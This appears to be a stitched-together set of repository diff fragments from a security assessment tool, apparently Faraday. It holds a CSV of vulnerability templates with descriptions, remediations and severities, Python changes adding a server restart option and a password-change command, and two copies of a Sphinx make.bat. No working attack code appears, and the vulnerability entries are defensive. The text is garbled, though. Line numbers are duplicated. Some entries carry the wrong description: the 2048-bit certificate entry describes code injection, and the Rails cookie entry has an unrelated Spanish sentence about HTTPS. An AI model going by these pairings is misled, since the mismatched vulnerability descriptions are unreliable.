2395 ","The web application should use the SERVER_NAME instead of the Host header. It should also create a dummy vhost that catches all requests with unrecognized Host headers. This can also be done under Nginx by specifying a non-wildcard SERVER_NAME, and under Apache by using a non-wildcard serverName and turning the UseCanonicalName directive on. Consult references for detailed information.",unclassified,
23962396 ,jQuery cross site scripting,"This page is using an older version of jQuery that is vulnerable to a Cross Site Scripting vulnerability. Many sites are using to select elements using location.hash that allows someone to inject script into the page. This problem was fixed in jQuery 1.6.3 and up.
23972397 Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable application to fool a user in order to gather data from them. An attacker can steal the session cookie and take over the account, impersonating the user. It is also possible to modify the content of the page presented to the user.
23982398 ","Update to the latest version of jQuery.
23992399 More info: http://ma.la/jquery_xss/
2400 http://blog.jquery.com/2011/09/01/jquery-1-6-3-released/",unclassified,
2400 http://blog.jquery.com/2011/09/01/jquery-1-6-3-released/",unclassified,
24012401 ,Login Page password-guessing attack,"A common threat web developers face is a password-guessing attack known as a brute force attack. A brute-force attack is an attempt to discover a password by systematically trying every possible combination of letters, numbers, and symbols until you discover the one correct combination that works.
24022402
24032403 This login page doesn't have any protection against password-guessing attacks (brute force attacks). It's recommended to implement some type of account lockout after a defined number of incorrect password attempts. Consult Web references for more information about fixing this problem.
24052405 The scanner tested 10 invalid credentials and no account lockout was detected.
24062406 ","It's recommended to implement some type of account lockout after a defined number of incorrect password attempts.
24072407 More info:
2408 https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks",unclassified,
2408 https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks",unclassified,
24092409 ,Error page web server version disclosure,"By requesting a page that doesn't exist, an error page was returned. This error page contains the web server version number and a list of modules enabled on this server. This information can be used to conduct further attacks. Possible sensitive information disclosure.
2410 ","If you are using Apache, you can setup a custom 404 page by following the instructions provided in the References section.",unclassified,
2410 ","If you are using Apache, you can setup a custom 404 page by following the instructions provided in the References section.",unclassified,
24112411 ,SSL weak ciphers,"The remote host supports the use of SSL ciphers that offer either weak encryption or no encryption at all.
24122412 This vulnerability affects Server.
2413 ",Reconfigure the affected application to avoid use of weak ciphers.,unclassified,
2413 ",Reconfigure the affected application to avoid use of weak ciphers.,unclassified,
24142414 ,CRIME SSL/TLS attack,"Compression Ratio Info-leak Made Easy (CRIME) is a security exploit against secret web cookies over connections using the HTTPS and SPDY protocols that also use data compression. When used to recover the content of secret authentication cookies, it allows an attacker to perform session hijacking on an authenticated web session, allowing the launching of further attacks.
24152415
24162416 CRIME is a client-side attack, but the server can protect the client by refusing to use the feature combinations which can be attacked. For CRIME, the weakness is Deflate compression. This alert is issued if the server accepts Deflate compression.
24202420
24212421 Web references
24222422 http://en.wikipedia.org/wiki/CRIME_(security_exploit)
2423 http://isecpartners.com/blog/2012/september/details-on-the-crime-attack.aspx",unclassified,
2423 http://isecpartners.com/blog/2012/september/details-on-the-crime-attack.aspx",unclassified,
24242424 ,Insecure transition from HTTPS to HTTP in form post,"This secure (https) page contains a form that is posting to an insecure (http) page. This could confuse users who may think their data is encrypted when in fact it's not.
24252425 Impact: Possible information disclosure.
2426 ",The form target should point to a secure (https) page.,unclassified,
2426 ",The form target should point to a secure (https) page.,unclassified,
24272427 ,TRACE method is enabled,"HTTP TRACE method is enabled on this web server. In the presence of other cross-domain vulnerabilities in web browsers, sensitive header information could be read from any domains that support the HTTP TRACE method.
24282428
24292429 Attackers may abuse HTTP TRACE functionality to gain access to information in HTTP headers such as cookies and authentication data.
24312431
24322432 Web references
24332433 http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html
2434 http://www.cgisecurity.com/lib/WH-WhitePaper_XST_ebook.pdf",unclassified,
2434 http://www.cgisecurity.com/lib/WH-WhitePaper_XST_ebook.pdf",unclassified,
24352435 ,SSL certificate public key less than 2048 bit,"The product does not sufficiently filter code (control-plane) syntax from user-controlled input (data plane) when that input is used within code that the product generates.When software allows a user's input to contain code syntax, it might be possible for an attacker to craft the code in such a way that it will alter the intended control flow of the software. Such an alteration could lead to arbitrary code execution
24362436 ","If you have any 1024-bit certificates or certificates with less than 2048-bit key length, you will need to migrate to 2048-bit key length.
24372437
2438 New Standard: https://www.cabforum.org/wp-content/uploads/Baseline_Requirements_V1.pdf",unclassified,
2438 New Standard: https://www.cabforum.org/wp-content/uploads/Baseline_Requirements_V1.pdf",unclassified,
24392439 ,Ruby on Rails CookieStore session cookie persistence,"Debido que las credenciales del usuario son considerados información confidencial, siempre debe ser transferido al servidor a través de una conexión segura (HTTPS).
2440 ","Currently, there are no known upgrades or patches to correct this vulnerability. It is possible to temporarily mitigate the flaw by implementing the following workaround: switch to a more secure authentication management systems (e.g. ActiveRecordStore).",unclassified,
2440 ","Currently, there are no known upgrades or patches to correct this vulnerability. It is possible to temporarily mitigate the flaw by implementing the following workaround: switch to a more secure authentication management systems (e.g. ActiveRecordStore).",unclassified,
24412441 ,Remote Code Execution - ms_08_067 netapi,"The product does not sufficiently filter code (control-plane) syntax from user-controlled input (data plane) when that input is used within code that the product generates.When software allows a user's input to contain code syntax, it might be possible for an attacker to craft the code in such a way that it will alter the intended control flow of the software. Such an alteration could lead to arbitrary code execution
2442 ",,high,
2442 ",,high,
24432443 ,Windows Print Spooler Components Vulnerability - MS13-001,"The software performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.Certain languages allow direct addressing of memory locations and do not automatically ensure that these locations are valid for the memory buffer that is being referenced. This can cause read or write operations to be performed on memory locations that may be associated with other variables, data structures, or internal program data.
24442444 Certain languages allow direct addressing of memory locations and do not automatically ensure that these locations are valid for the memory buffer that is being referenced. This can cause read or write operations to be performed on memory locations that may be associated with other variables, data structures, or internal program data.
2445 As a result, an attacker may be able to execute arbitrary code, alter the intended control flow, read sensitive information, or cause the system to crash.",,high,
2445 As a result, an attacker may be able to execute arbitrary code, alter the intended control flow, read sensitive information, or cause the system to crash.",,high,
24462446 ,Android Debugging Activated,"The Application has enabled Debugging in it's manifiest. This feature allows an attacker to debug native code and sensitive information could be retrived using this vector
2447 ",Set to false debuging features in production releases,unclassified,
2447 ",Set to false debuging features in production releases,unclassified,
24482448 ,Flash Crossdomain policy,"The application publishes a Flash cross-domain policy which allows access from any domain.
2449 ",The policy must include the domains which are allowed by the Flash cross-domain policy,medium,
2449 ",The policy must include the domains which are allowed by the Flash cross-domain policy,medium,
24502450 ,Session Token in URL,"The Session token is included in the URL. This could leak the session token
2451 ",Session tokens should only be included using safe channels,medium,
2451 ",Session tokens should only be included using safe channels,medium,
24522452 ,Insecure crossdomain.xml file,"The browser security model normally prevents web content from one domain from accessing data from another domain. This is commonly known as the ""same origin policy"". URL policy files grant cross-domain permissions for reading data. They permit operations that are not permitted by default. The URL policy file is located, by default, in the root directory of the target server, with the name crossdomain.xml (for example, at www.example.com/crossdomain.xml).
24532453
24542454 When a domain is specified in crossdomain.xml file, the site declares that it is willing to allow the operators of any servers in that domain to obtain any document on the server where the policy file resides. The crossdomain.xml file deployed on this website opens the server to all domains (use of a single asterisk ""*"" as a pure wildcard is supported) like so:
24592459
24602460 Using an insecure cross-domain policy file could expose your site to various attacks.
24612461 ","Carefully evaluate which sites will be allowed to make cross-domain calls. Consider network topology and any authentication mechanisms that will be affected by the configuration or implementation of the cross-domain policy.
2462 ",medium,
2462 ",medium,
24632463 ,BREACH attack,"This web application is potentially vulnerable to the BREACH attack.
24642464 An attacker with the ability to:
24652465 Inject partial chosen plaintext into a victim's requests
24882488 Length hiding (by adding random number of bytes to the responses)
24892489 Rate-limiting the requests
24902490
2491 More information http://breachattack.com/",unclassified,
2491 More information http://breachattack.com/",unclassified,
24922492 ,Internal IP Address Disclosure,"A string matching an internal IPv4 address was found on this page. This may disclose information about the IP addressing scheme of the internal network. This information can be used to conduct further attacks.
2493 ",Prevent this information from being displayed to the user,low,
2493 ",Prevent this information from being displayed to the user,low,
24942494 ,ASP.NET MAC disabled,"By default, the serialized value is signed by the server to prevent tampering by the user; however, this behavior can be disabled by setting the Page.EnableViewStateMac property to false. If this is done, then an attacker can modify the contents of the ViewState and cause arbitrary data to be deserialized and processed by the server. If the ViewState contains any items that are critical to the server's processing of the request, then this may result in a security exposure.
2495 ",Set the Page.EnableViewStateMac property to true on any pages where the ViewState is not currently signed.,low,
2495 ",Set the Page.EnableViewStateMac property to true on any pages where the ViewState is not currently signed.,low,
1212 from colorama import init, Fore
1313 import sqlalchemy
1414 import server.config
15 import server.couchdb
1615 import server.utils.logger
17 from server.models import db, Workspace, User
16 from server.models import db, Workspace
1817 from server.utils import daemonize
1918 from server.web import app
2019 from utils import dependencies
8483 web_server = server.web.WebServer(enable_ssl=args.ssl)
8584 daemonize.create_pid_file(args.port)
8685 web_server.run()
86
87 def restart_server(args_port):
88 devnull = open('/dev/null', 'w')
89
90 if args_port:
91 ports = [args_port]
92 else:
93 ports = daemonize.get_ports_running()
94
95 if not ports:
96 logger.error('Faraday Server is not running')
97 sys.exit(1)
98
99 for port in ports:
100 stop_server(port)
101 params = ['/usr/bin/env', 'python2.7',\
102 os.path.join(server.config.FARADAY_BASE, __file__), '--no-setup', '--port', str(port)]
103
104 logger.info('Restarting Faraday Server...')
105 subprocess.Popen(params, stdout=devnull, stderr=devnull)
106 logger.info('Faraday Server is running as a daemon in port {}'.format(port))
87107
88108
89109 def check_postgresql():
110130 parser.add_argument('--debug', action='store_true', help='run Faraday Server in debug mode')
111131 parser.add_argument('--start', action='store_true', help='run Faraday Server in background')
112132 parser.add_argument('--stop', action='store_true', help='stop Faraday Server')
133 parser.add_argument('--restart', action='store_true', help='Restart Faraday Server')
113134 parser.add_argument('--nodeps', action='store_true', help='Skip dependency check')
114135 parser.add_argument('--no-setup', action='store_true', help=argparse.SUPPRESS)
115136 parser.add_argument('--port', help='Overides server.ini port configuration')
127148 if args.debug:
128149 server.utils.logger.set_logging_level(server.config.DEBUG)
129150
151 if args.restart:
152 restart_server(args.port)
153 sys.exit()
154
130155 if args.stop:
131156 if args.port:
132157 sys.exit(0 if stop_server(args.port) else 1)
133158 else:
134159 ports = daemonize.get_ports_running()
160 if not ports:
161 logger.info('Faraday Server is not running')
135162 exit_code = 0
136163 for port in ports:
137164 exit_code += 0 if stop_server(port) else 1
140167 else:
141168 if not args.port:
142169 args.port = '5985'
170
143171
144172 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
145173 result = sock.connect_ex((args.bind_address or server.config.faraday_server.bind_address, int(args.port or server.config.faraday_server.port)))
180208 params.append(arg_dict[arg])
181209 logger.info('Faraday Server is running as a daemon')
182210 subprocess.Popen(params, stdout=devnull, stderr=devnull)
183 else:
211
212 elif not args.start:
184213 run_server(args)
185214
186215
1212 import threading
1313 import webbrowser
1414
15 import restkit
1615
1716 try:
1817 import gi
173172 self.getWorkspaceManager().removeWorkspace(ws_name)
174173 self.ws_sidebar.clear_sidebar()
175174 self.ws_sidebar.refresh_sidebar()
176 except restkit.errors.Unauthorized:
177 model.notification_center.showDialog(
178 "You're not authorized to delete this workspace.\n"
179 "Make sure you're an admin and that you're logged in.",
180 "ERROR")
181 except Exception:
175 except Exception as ex:
182176 traceback_str = traceback.format_exc()
183177 model.api.log("An exception was captured while deleting "
184178 "workspace %s\n%s" % (ws_name, traceback_str),
140140 sys.exit(exit_code)
141141
142142 @click.command(help="Changes the password of a user")
143 def change_password():
144 username = raw_input("Enter the Name of the User: ")
145 password = raw_input("Enter the new password: ")
146 if password is None or password == "":
147 print "Invalid password"
148 exit
143 @click.option('--username', required=True, prompt=True)
144 @click.option('--password', required=True, prompt=True, confirmation_prompt=True, hide_input=True)
145 def change_password(username, password):
149146 change_pass.changes_password(username, password)
150147
151148 def validate_user_unique_field(ctx, param, value):
55 See the file 'doc/LICENSE' for the license information
66
77 '''
8 import restkit
98 import re
109 import time
1110
105104
106105 def isWorkspaceNameValid(self, ws_name):
107106 """Returns True if the ws_name is valid, else if it's not"""
108 letters_or_numbers = r"^[a-z][a-z0-9\_\$()\+\-\/]*$"
107 letters_or_numbers = r"^[a-z0-9][a-z0-9\_\$()\+\-\/]*$"
109108 regex_name = re.match(letters_or_numbers, ws_name)
110109 if regex_name and regex_name.string not in CONST_BLACKDBS:
111110 return True
0 @ECHO OFF
1
2 REM Command file for Sphinx documentation
3
4 if "%SPHINXBUILD%" == "" (
5 set SPHINXBUILD=sphinx-build
6 )
7 set BUILDDIR=_build
8 set ALLSPHINXOPTS=-d %BUILDDIR%/doctrees %SPHINXOPTS% .
9 set I18NSPHINXOPTS=%SPHINXOPTS% .
10 if NOT "%PAPER%" == "" (
11 set ALLSPHINXOPTS=-D latex_paper_size=%PAPER% %ALLSPHINXOPTS%
12 set I18NSPHINXOPTS=-D latex_paper_size=%PAPER% %I18NSPHINXOPTS%
13 )
14
15 if "%1" == "" goto help
16
17 if "%1" == "help" (
18 :help
19 echo.Please use `make ^<target^>` where ^<target^> is one of
20 echo. html to make standalone HTML files
21 echo. dirhtml to make HTML files named index.html in directories
22 echo. singlehtml to make a single large HTML file
23 echo. pickle to make pickle files
24 echo. json to make JSON files
25 echo. htmlhelp to make HTML files and a HTML help project
26 echo. qthelp to make HTML files and a qthelp project
27 echo. devhelp to make HTML files and a Devhelp project
28 echo. epub to make an epub
29 echo. epub3 to make an epub3
30 echo. latex to make LaTeX files, you can set PAPER=a4 or PAPER=letter
31 echo. text to make text files
32 echo. man to make manual pages
33 echo. texinfo to make Texinfo files
34 echo. gettext to make PO message catalogs
35 echo. changes to make an overview over all changed/added/deprecated items
36 echo. xml to make Docutils-native XML files
37 echo. pseudoxml to make pseudoxml-XML files for display purposes
38 echo. linkcheck to check all external links for integrity
39 echo. doctest to run all doctests embedded in the documentation if enabled
40 echo. coverage to run coverage check of the documentation if enabled
41 echo. dummy to check syntax errors of document sources
42 goto end
43 )
44
45 if "%1" == "clean" (
46 for /d %%i in (%BUILDDIR%\*) do rmdir /q /s %%i
47 del /q /s %BUILDDIR%\*
48 goto end
49 )
50
51
52 REM Check if sphinx-build is available and fallback to Python version if any
53 %SPHINXBUILD% 1>NUL 2>NUL
54 if errorlevel 9009 goto sphinx_python
55 goto sphinx_ok
56
57 :sphinx_python
58
59 set SPHINXBUILD=python -m sphinx.__init__
60 %SPHINXBUILD% 2> nul
61 if errorlevel 9009 (
62 echo.
63 echo.The 'sphinx-build' command was not found. Make sure you have Sphinx
64 echo.installed, then set the SPHINXBUILD environment variable to point
65 echo.to the full path of the 'sphinx-build' executable. Alternatively you
66 echo.may add the Sphinx directory to PATH.
67 echo.
68 echo.If you don't have Sphinx installed, grab it from
69 echo.http://sphinx-doc.org/
70 exit /b 1
71 )
72
73 :sphinx_ok
74
75
76 if "%1" == "html" (
77 %SPHINXBUILD% -b html %ALLSPHINXOPTS% %BUILDDIR%/html
78 if errorlevel 1 exit /b 1
79 echo.
80 echo.Build finished. The HTML pages are in %BUILDDIR%/html.
81 goto end
82 )
83
84 if "%1" == "dirhtml" (
85 %SPHINXBUILD% -b dirhtml %ALLSPHINXOPTS% %BUILDDIR%/dirhtml
86 if errorlevel 1 exit /b 1
87 echo.
88 echo.Build finished. The HTML pages are in %BUILDDIR%/dirhtml.
89 goto end
90 )
91
92 if "%1" == "singlehtml" (
93 %SPHINXBUILD% -b singlehtml %ALLSPHINXOPTS% %BUILDDIR%/singlehtml
94 if errorlevel 1 exit /b 1
95 echo.
96 echo.Build finished. The HTML pages are in %BUILDDIR%/singlehtml.
97 goto end
98 )
99
100 if "%1" == "pickle" (
101 %SPHINXBUILD% -b pickle %ALLSPHINXOPTS% %BUILDDIR%/pickle
102 if errorlevel 1 exit /b 1
103 echo.
104 echo.Build finished; now you can process the pickle files.
105 goto end
106 )
107
108 if "%1" == "json" (
109 %SPHINXBUILD% -b json %ALLSPHINXOPTS% %BUILDDIR%/json
110 if errorlevel 1 exit /b 1
111 echo.
112 echo.Build finished; now you can process the JSON files.
113 goto end
114 )
115
116 if "%1" == "htmlhelp" (
117 %SPHINXBUILD% -b htmlhelp %ALLSPHINXOPTS% %BUILDDIR%/htmlhelp
118 if errorlevel 1 exit /b 1
119 echo.
120 echo.Build finished; now you can run HTML Help Workshop with the ^
121 .hhp project file in %BUILDDIR%/htmlhelp.
122 goto end
123 )
124
125 if "%1" == "qthelp" (
126 %SPHINXBUILD% -b qthelp %ALLSPHINXOPTS% %BUILDDIR%/qthelp
127 if errorlevel 1 exit /b 1
128 echo.
129 echo.Build finished; now you can run "qcollectiongenerator" with the ^
130 .qhcp project file in %BUILDDIR%/qthelp, like this:
131 echo.^> qcollectiongenerator %BUILDDIR%\qthelp\Faraday.qhcp
132 echo.To view the help file:
133 echo.^> assistant -collectionFile %BUILDDIR%\qthelp\Faraday.ghc
134 goto end
135 )
136
137 if "%1" == "devhelp" (
138 %SPHINXBUILD% -b devhelp %ALLSPHINXOPTS% %BUILDDIR%/devhelp
139 if errorlevel 1 exit /b 1
140 echo.
141 echo.Build finished.
142 goto end
143 )
144
145 if "%1" == "epub" (
146 %SPHINXBUILD% -b epub %ALLSPHINXOPTS% %BUILDDIR%/epub
147 if errorlevel 1 exit /b 1
148 echo.
149 echo.Build finished. The epub file is in %BUILDDIR%/epub.
150 goto end
151 )
152
153 if "%1" == "epub3" (
154 %SPHINXBUILD% -b epub3 %ALLSPHINXOPTS% %BUILDDIR%/epub3
155 if errorlevel 1 exit /b 1
156 echo.
157 echo.Build finished. The epub3 file is in %BUILDDIR%/epub3.
158 goto end
159 )
160
161 if "%1" == "latex" (
162 %SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex
163 if errorlevel 1 exit /b 1
164 echo.
165 echo.Build finished; the LaTeX files are in %BUILDDIR%/latex.
166 goto end
167 )
168
169 if "%1" == "latexpdf" (
170 %SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex
171 cd %BUILDDIR%/latex
172 make all-pdf
173 cd %~dp0
174 echo.
175 echo.Build finished; the PDF files are in %BUILDDIR%/latex.
176 goto end
177 )
178
179 if "%1" == "latexpdfja" (
180 %SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex
181 cd %BUILDDIR%/latex
182 make all-pdf-ja
183 cd %~dp0
184 echo.
185 echo.Build finished; the PDF files are in %BUILDDIR%/latex.
186 goto end
187 )
188
189 if "%1" == "text" (
190 %SPHINXBUILD% -b text %ALLSPHINXOPTS% %BUILDDIR%/text
191 if errorlevel 1 exit /b 1
192 echo.
193 echo.Build finished. The text files are in %BUILDDIR%/text.
194 goto end
195 )
196
197 if "%1" == "man" (
198 %SPHINXBUILD% -b man %ALLSPHINXOPTS% %BUILDDIR%/man
199 if errorlevel 1 exit /b 1
200 echo.
201 echo.Build finished. The manual pages are in %BUILDDIR%/man.
202 goto end
203 )
204
205 if "%1" == "texinfo" (
206 %SPHINXBUILD% -b texinfo %ALLSPHINXOPTS% %BUILDDIR%/texinfo
207 if errorlevel 1 exit /b 1
208 echo.
209 echo.Build finished. The Texinfo files are in %BUILDDIR%/texinfo.
210 goto end
211 )
212
213 if "%1" == "gettext" (
214 %SPHINXBUILD% -b gettext %I18NSPHINXOPTS% %BUILDDIR%/locale
215 if errorlevel 1 exit /b 1
216 echo.
217 echo.Build finished. The message catalogs are in %BUILDDIR%/locale.
218 goto end
219 )
220
221 if "%1" == "changes" (
222 %SPHINXBUILD% -b changes %ALLSPHINXOPTS% %BUILDDIR%/changes
223 if errorlevel 1 exit /b 1
224 echo.
225 echo.The overview file is in %BUILDDIR%/changes.
226 goto end
227 )
228
229 if "%1" == "linkcheck" (
230 %SPHINXBUILD% -b linkcheck %ALLSPHINXOPTS% %BUILDDIR%/linkcheck
231 if errorlevel 1 exit /b 1
232 echo.
233 echo.Link check complete; look for any errors in the above output ^
234 or in %BUILDDIR%/linkcheck/output.txt.
235 goto end
236 )
237
238 if "%1" == "doctest" (
239 %SPHINXBUILD% -b doctest %ALLSPHINXOPTS% %BUILDDIR%/doctest
240 if errorlevel 1 exit /b 1
241 echo.
242 echo.Testing of doctests in the sources finished, look at the ^
243 results in %BUILDDIR%/doctest/output.txt.
244 goto end
245 )
246
247 if "%1" == "coverage" (
248 %SPHINXBUILD% -b coverage %ALLSPHINXOPTS% %BUILDDIR%/coverage
249 if errorlevel 1 exit /b 1
250 echo.
251 echo.Testing of coverage in the sources finished, look at the ^
252 results in %BUILDDIR%/coverage/python.txt.
253 goto end
254 )
255
256 if "%1" == "xml" (
257 %SPHINXBUILD% -b xml %ALLSPHINXOPTS% %BUILDDIR%/xml
258 if errorlevel 1 exit /b 1
259 echo.
260 echo.Build finished. The XML files are in %BUILDDIR%/xml.
261 goto end
262 )
263
264 if "%1" == "pseudoxml" (
265 %SPHINXBUILD% -b pseudoxml %ALLSPHINXOPTS% %BUILDDIR%/pseudoxml
266 if errorlevel 1 exit /b 1
267 echo.
268 echo.Build finished. The pseudo-XML files are in %BUILDDIR%/pseudoxml.
269 goto end
270 )
271
272 if "%1" == "dummy" (
273 %SPHINXBUILD% -b dummy %ALLSPHINXOPTS% %BUILDDIR%/dummy
274 if errorlevel 1 exit /b 1
275 echo.
276 echo.Build finished. Dummy builder generates no files.
277 goto end
278 )
279
280 :end
0 @ECHO OFF
1
2 REM Command file for Sphinx documentation
3
4 if "%SPHINXBUILD%" == "" (
5 set SPHINXBUILD=sphinx-build
6 )
7 set BUILDDIR=_build
8 set ALLSPHINXOPTS=-d %BUILDDIR%/doctrees %SPHINXOPTS% .
9 set I18NSPHINXOPTS=%SPHINXOPTS% .
10 if NOT "%PAPER%" == "" (
11 set ALLSPHINXOPTS=-D latex_paper_size=%PAPER% %ALLSPHINXOPTS%
12 set I18NSPHINXOPTS=-D latex_paper_size=%PAPER% %I18NSPHINXOPTS%
13 )
14
15 if "%1" == "" goto help
16
17 if "%1" == "help" (
18 :help
19 echo.Please use `make ^<target^>` where ^<target^> is one of
20 echo. html to make standalone HTML files
21 echo. dirhtml to make HTML files named index.html in directories
22 echo. singlehtml to make a single large HTML file
23 echo. pickle to make pickle files
24 echo. json to make JSON files
25 echo. htmlhelp to make HTML files and a HTML help project
26 echo. qthelp to make HTML files and a qthelp project
27 echo. devhelp to make HTML files and a Devhelp project
28 echo. epub to make an epub
29 echo. epub3 to make an epub3
30 echo. latex to make LaTeX files, you can set PAPER=a4 or PAPER=letter
31 echo. text to make text files
32 echo. man to make manual pages
33 echo. texinfo to make Texinfo files
34 echo. gettext to make PO message catalogs
35 echo. changes to make an overview over all changed/added/deprecated items
36 echo. xml to make Docutils-native XML files
37 echo. pseudoxml to make pseudoxml-XML files for display purposes
38 echo. linkcheck to check all external links for integrity
39 echo. doctest to run all doctests embedded in the documentation if enabled
40 echo. coverage to run coverage check of the documentation if enabled
41 echo. dummy to check syntax errors of document sources
42 goto end
43 )
44
45 if "%1" == "clean" (
46 for /d %%i in (%BUILDDIR%\*) do rmdir /q /s %%i
47 del /q /s %BUILDDIR%\*
48 goto end
49 )
50
51
52 REM Check if sphinx-build is available and fallback to Python version if any
53 %SPHINXBUILD% 1>NUL 2>NUL
54 if errorlevel 9009 goto sphinx_python
55 goto sphinx_ok
56
57 :sphinx_python
58
59 set SPHINXBUILD=python -m sphinx.__init__
60 %SPHINXBUILD% 2> nul
61 if errorlevel 9009 (
62 echo.
63 echo.The 'sphinx-build' command was not found. Make sure you have Sphinx
64 echo.installed, then set the SPHINXBUILD environment variable to point
65 echo.to the full path of the 'sphinx-build' executable. Alternatively you
66 echo.may add the Sphinx directory to PATH.
67 echo.
68 echo.If you don't have Sphinx installed, grab it from
69 echo.http://sphinx-doc.org/
70 exit /b 1
71 )
72
73 :sphinx_ok
74
75
76 if "%1" == "html" (
77 %SPHINXBUILD% -b html %ALLSPHINXOPTS% %BUILDDIR%/html
78 if errorlevel 1 exit /b 1
79 echo.
80 echo.Build finished. The HTML pages are in %BUILDDIR%/html.
81 goto end
82 )
83
84 if "%1" == "dirhtml" (
85 %SPHINXBUILD% -b dirhtml %ALLSPHINXOPTS% %BUILDDIR%/dirhtml
86 if errorlevel 1 exit /b 1
87 echo.
88 echo.Build finished. The HTML pages are in %BUILDDIR%/dirhtml.
89 goto end
90 )
91
92 if "%1" == "singlehtml" (
93 %SPHINXBUILD% -b singlehtml %ALLSPHINXOPTS% %BUILDDIR%/singlehtml
94 if errorlevel 1 exit /b 1
95 echo.
96 echo.Build finished. The HTML pages are in %BUILDDIR%/singlehtml.
97 goto end
98 )
99
100 if "%1" == "pickle" (
101 %SPHINXBUILD% -b pickle %ALLSPHINXOPTS% %BUILDDIR%/pickle
102 if errorlevel 1 exit /b 1
103 echo.
104 echo.Build finished; now you can process the pickle files.
105 goto end
106 )
107
108 if "%1" == "json" (
109 %SPHINXBUILD% -b json %ALLSPHINXOPTS% %BUILDDIR%/json
110 if errorlevel 1 exit /b 1
111 echo.
112 echo.Build finished; now you can process the JSON files.
113 goto end
114 )
115
116 if "%1" == "htmlhelp" (
117 %SPHINXBUILD% -b htmlhelp %ALLSPHINXOPTS% %BUILDDIR%/htmlhelp
118 if errorlevel 1 exit /b 1
119 echo.
120 echo.Build finished; now you can run HTML Help Workshop with the ^
121 .hhp project file in %BUILDDIR%/htmlhelp.
122 goto end
123 )
124
125 if "%1" == "qthelp" (
126 %SPHINXBUILD% -b qthelp %ALLSPHINXOPTS% %BUILDDIR%/qthelp
127 if errorlevel 1 exit /b 1
128 echo.
129 echo.Build finished; now you can run "qcollectiongenerator" with the ^
130 .qhcp project file in %BUILDDIR%/qthelp, like this:
131 echo.^> qcollectiongenerator %BUILDDIR%\qthelp\Faraday.qhcp
132 echo.To view the help file:
133 echo.^> assistant -collectionFile %BUILDDIR%\qthelp\Faraday.ghc
134 goto end
135 )
136
137 if "%1" == "devhelp" (
138 %SPHINXBUILD% -b devhelp %ALLSPHINXOPTS% %BUILDDIR%/devhelp
139 if errorlevel 1 exit /b 1
140 echo.
141 echo.Build finished.
142 goto end
143 )
144
145 if "%1" == "epub" (
146 %SPHINXBUILD% -b epub %ALLSPHINXOPTS% %BUILDDIR%/epub
147 if errorlevel 1 exit /b 1
148 echo.
149 echo.Build finished. The epub file is in %BUILDDIR%/epub.
150 goto end
151 )
152
153 if "%1" == "epub3" (
154 %SPHINXBUILD% -b epub3 %ALLSPHINXOPTS% %BUILDDIR%/epub3
155 if errorlevel 1 exit /b 1
156 echo.
157 echo.Build finished. The epub3 file is in %BUILDDIR%/epub3.
158 goto end
159 )
160
161 if "%1" == "latex" (
162 %SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex
163 if errorlevel 1 exit /b 1
164 echo.
165 echo.Build finished; the LaTeX files are in %BUILDDIR%/latex.
166 goto end
167 )
168
169 if "%1" == "latexpdf" (
170 %SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex
171 cd %BUILDDIR%/latex
172 make all-pdf
173 cd %~dp0
174 echo.
175 echo.Build finished; the PDF files are in %BUILDDIR%/latex.
176 goto end
177 )
178
179 if "%1" == "latexpdfja" (
180 %SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex
181 cd %BUILDDIR%/latex
182 make all-pdf-ja
183 cd %~dp0
184 echo.
185 echo.Build finished; the PDF files are in %BUILDDIR%/latex.
186 goto end
187 )
188
189 if "%1" == "text" (
190 %SPHINXBUILD% -b text %ALLSPHINXOPTS% %BUILDDIR%/text
191 if errorlevel 1 exit /b 1
192 echo.
193 echo.Build finished. The text files are in %BUILDDIR%/text.
194 goto end
195 )
196
197 if "%1" == "man" (
198 %SPHINXBUILD% -b man %ALLSPHINXOPTS% %BUILDDIR%/man
199 if errorlevel 1 exit /b 1
200 echo.
201 echo.Build finished. The manual pages are in %BUILDDIR%/man.
202 goto end
203 )
204
205 if "%1" == "texinfo" (
206 %SPHINXBUILD% -b texinfo %ALLSPHINXOPTS% %BUILDDIR%/texinfo
207 if errorlevel 1 exit /b 1
208 echo.
209 echo.Build finished. The Texinfo files are in %BUILDDIR%/texinfo.
210 goto end
211 )
212
213 if "%1" == "gettext" (
214 %SPHINXBUILD% -b gettext %I18NSPHINXOPTS% %BUILDDIR%/locale
215 if errorlevel 1 exit /b 1
216 echo.
217 echo.Build finished. The message catalogs are in %BUILDDIR%/locale.
218 goto end
219 )
220
221 if "%1" == "changes" (
222 %SPHINXBUILD% -b changes %ALLSPHINXOPTS% %BUILDDIR%/changes
223 if errorlevel 1 exit /b 1
224 echo.
225 echo.The overview file is in %BUILDDIR%/changes.
226 goto end
227 )
228
229 if "%1" == "linkcheck" (
230 %SPHINXBUILD% -b linkcheck %ALLSPHINXOPTS% %BUILDDIR%/linkcheck
231 if errorlevel 1 exit /b 1
232 echo.
233 echo.Link check complete; look for any errors in the above output ^
234 or in %BUILDDIR%/linkcheck/output.txt.
235 goto end
236 )
237
238 if "%1" == "doctest" (
239 %SPHINXBUILD% -b doctest %ALLSPHINXOPTS% %BUILDDIR%/doctest
240 if errorlevel 1 exit /b 1
241 echo.
242 echo.Testing of doctests in the sources finished, look at the ^
243 results in %BUILDDIR%/doctest/output.txt.
244 goto end
245 )
246
247 if "%1" == "coverage" (
248 %SPHINXBUILD% -b coverage %ALLSPHINXOPTS% %BUILDDIR%/coverage
249 if errorlevel 1 exit /b 1
250 echo.
251 echo.Testing of coverage in the sources finished, look at the ^
252 results in %BUILDDIR%/coverage/python.txt.
253 goto end
254 )
255
256 if "%1" == "xml" (
257 %SPHINXBUILD% -b xml %ALLSPHINXOPTS% %BUILDDIR%/xml
258 if errorlevel 1 exit /b 1
259 echo.
260 echo.Build finished. The XML files are in %BUILDDIR%/xml.
261 goto end
262 )
263
264 if "%1" == "pseudoxml" (
